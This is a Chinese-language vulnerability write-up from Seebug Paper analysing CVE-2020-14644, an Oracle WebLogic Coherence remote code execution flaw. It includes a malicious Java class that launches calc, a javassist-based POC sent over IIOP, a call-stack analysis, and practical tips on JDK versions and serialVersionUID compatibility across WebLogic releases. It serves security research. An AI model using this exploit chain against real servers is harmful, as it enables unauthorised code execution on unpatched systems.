作者:Sp4rr0vv@ 白帽汇安全研究院
核对:r4v3zn@ 白帽汇安全研究院
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!
投稿邮箱:paper@seebug.org

概述

2020 年 7 月 15 日,Oracle 发布大量安全修复补丁,其中 CVE-2020-14644 漏洞被评分为 9.8 分,影响版本为 12.2.1.3.0、12.2.1.4.0, 14.1.1.0.0 。本文基于互联网公开的 POC 进行复现、分析,最终实现无任何限制的 defineClass + 实例化,进行实现 RCE。

前置知识

JDKClassLoader 类中有个方法是 defindClass ,可以根据类全限定名和类的字节数组,加载一个类到 jvm 中并返回对应的 Class 对象(随带一提,这种加载类的方式不会执行类初始化)。

image-20200805135249325

所以只要参数 name(类名)和 b (类文件的二进制数据)可控,理论上我们可以加载任何类,需要注意的一点是,这个类名 name 一定要和这个类字节数组 b 中对于的类名一致才行,不然就是一个 NoClassDefFoundError

image-20200805143407083

image-20200805143146631

复现

环境 - Weblogic 12.2.1.4.0 - jdk 1.8.0_112 - Windows 10

首先准备一个带包名的恶意类,在构造函数中写入恶意代码

package com;

import java.io.IOException;

public class EvilObj {

    public EvilObj() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }
    }
}

POC

ClassIdentity classIdentity = new ClassIdentity( EvilObj.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(EvilObj.class.getName());
ctClass.replaceClassName(EvilObj.class.getName(),  EvilObj.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
        new ClassDefinition(classIdentity, ctClass.toBytecode()),
        new Object[] {}
);
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello",constructor);

复现结果:

image-20200806093842214

以下为简化版调用栈:

exec:347, Runtime (java.lang)
<init>:14, SimpleMapEntry$7E80A4E3098E7FB7B109472C77D1D573 (com.tangosol.util)
newInvokeSpecial__L:-1, 1565249093 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1641862114 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 222055923 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 1593074896 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)

漏洞分析

先看下几个关键的类的字段和构造函数,都是 coherence.jar 中的类

com.tangosol.internal.util.invoke.RemoteConstructor

https://images.seebug.org/content/images/2020/08/06/1596699500000-image-20200805132105015.png-w331s

com.tangosol.internal.util.invoke.ClassDefinition

image-20200805132609441

com.tangosol.internal.util.invoke.ClassIdentity

image-20200805133348073

com.tangosol.internal.util.invoke.RemotableSupport

image-20200805152651959

com.tangosol.internal.util.invoke.ClassIdentity 的构造构造方法可以将 Class 作为参数,然后进行提取该类的一些特征信息,例如 packageBaseNameVersion等信息,其中 Version 表示该类文件的内容 MD5 值,然后转换为 Hex

image-20200805145134354

image-20200805151149145

image-20200805151308964

所以 getName() = package + "/" + baseName + "$" + version

image-20200805151648869

com.tangosol.internal.util.invoke.ClassDefinitionclassnamebyte[] 都有了,而 RemoteConstructor 持有 ClassDefinition 类型的引用,RemotableSupport 继承了 ClassLoader,具有加载类的功能。

最后看下关键的几个调用栈:

image-20200805152228695

image-20200805152202225

重点在 RemotableSupport.realize 中进行处理,其中首先流入 this.registerIfAbsent(constructor.getDefinition()) 中。

image-20200806094158466

RemotableSupport 中定义了 Map 类型 f_mapDefinitions 的变量进行充当缓存作用。

image-20200805165348620

首先是每次调用 realize 时会先在缓存中查找 ClassDefinition

image-20200805180021923

ClassIdentity 重写了equals方法,所以如果恶意类的内容没有什么变化的话,会将 Class 对应的 ClassIdentity 在第一次使用时的 id 作为 key,内容作为 value 存入缓存,之后每次都会返回第一次加的 ClassnameClassDefinition

image-20200805205219348

执行 this.registerIfAbsent(constructor.getDefinition()) 之后通过 ClassDefinition.getRemotableClass 进行获取 m_clz,第一次流入时内容值为 null (其中不仅是因为在 ClassDefinition 的构造函数中没有为该字段赋值的语句,更重要的是这个字段是 transient 修饰的),然后通过调用 defineClass 进行加载恶意类字节码。

image-20200805212209399

image-20200805212403828

image-20200805212723073

由于 RemotableSupport 继承了 ClassLoader,所以它的 defineClass 就是调用了父类的 defineClass 来加载类,但是有意思的是他所生成类名的逻辑,是前面所说的 ClassIdentity.getname() = package + "/" + baseName + "$" + version,所以 ClassIdentity 中的字节数组 byte[] 中的对应的 Class 的类名必须为 package + "." + baseName + "$" + version,否则可能会面临加载失败的问题。

image-20200805213145914

还有一个有意思的地方是 RemotableSupport.defineClass 这个函数所返回的是一个泛型

image-20200805221023126

还刚好是 ClassDefinition.setRemotableClass 的参数类型一致image-20200805221251914

这意味着,这个ClassDefinition中的类字节数组byte[]内容不需要进行继承Remotable

image-20200806092748575

而且显而易见,ClassDefinition.setRemotableClass 的作用就是为ClassDefinition 的两个 transient 字段赋值

image-20200806094514613

这要求ClassDefinition所代表的类的构造函数必须只有一个,参数有无,没有任何影响,m_mhCtor字段的类型为MethodHandle,是 JDK7 的新特性,是另一套反射 api 中的类,在 ClassDefinition 这个类中对应于构造函数。

当流入 ClassDefinition.createInstance 后会进行调用构造方法将 aoArgs 作为参数进行实例化对象,由于我们的恶意代码是写在构造方法中的,所以当实例化之后会进行执行恶意代码。

image-20200806094529126

实际利用

综述,整体的思路为,构造一个带有包名类,恶意代码写进构造函数中就行,然后通过 javassist 进行动态修改类名,将原类名追加 $version 值,在实战利用中可能会出现以下问题。

为啥要带包名?

因为ClassIdentity的构造函数中有下面这个链式调用,不带包名getPackage()会返回null,再往下调用就会空指针异常

image-20200806094554771

Class 版本问题

在利用的过程中常常会出现,由于 JDK 版本问题无法正常利用问题。

  1. 可以通过在编译获取恶意类时加入 -source 1.6 -target 1.6 参数指定编译版本。
  2. 也可通过设置当前运行 jdk 版本调整为最低版本进行使用。

序列化 ID 问题

由于 Weblogic 版本的变化,coherence.jar 文件中的 serialVersionUID 可能会出现不一致的问题,通过分析测试得出以下结论 12.2.1.3.012.2.1.4.014.1.1.0.0serialVersionUID 不同,以下为详细测试的结果:

coherence.jar weblogic 版本 是否成功
12.2.1.3.0 12.2.1.3.0 成功
12.2.1.3.0 12.2.1.4.0 失败
12.2.1.3.0 14.1.1.0.0 失败
12.2.1.4.0 12.2.1.3.0 失败
12.2.1.4.0 12.2.1.4.0 成功
12.2.1.4.0 14.1.1.0.0 成功
14.1.1.0.0 12.2.1.3.0 失败
14.1.1.0.0 12.2.1.4.0 成功
14.1.1.0.0 14.1.1.0.0 成功

该问题可通过 URLClassLoader 进行动态加载处理以下为部分核心代码(摘自 weblogic-framework):

image-20200806133258369

image-20200806133919212

参考


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1284/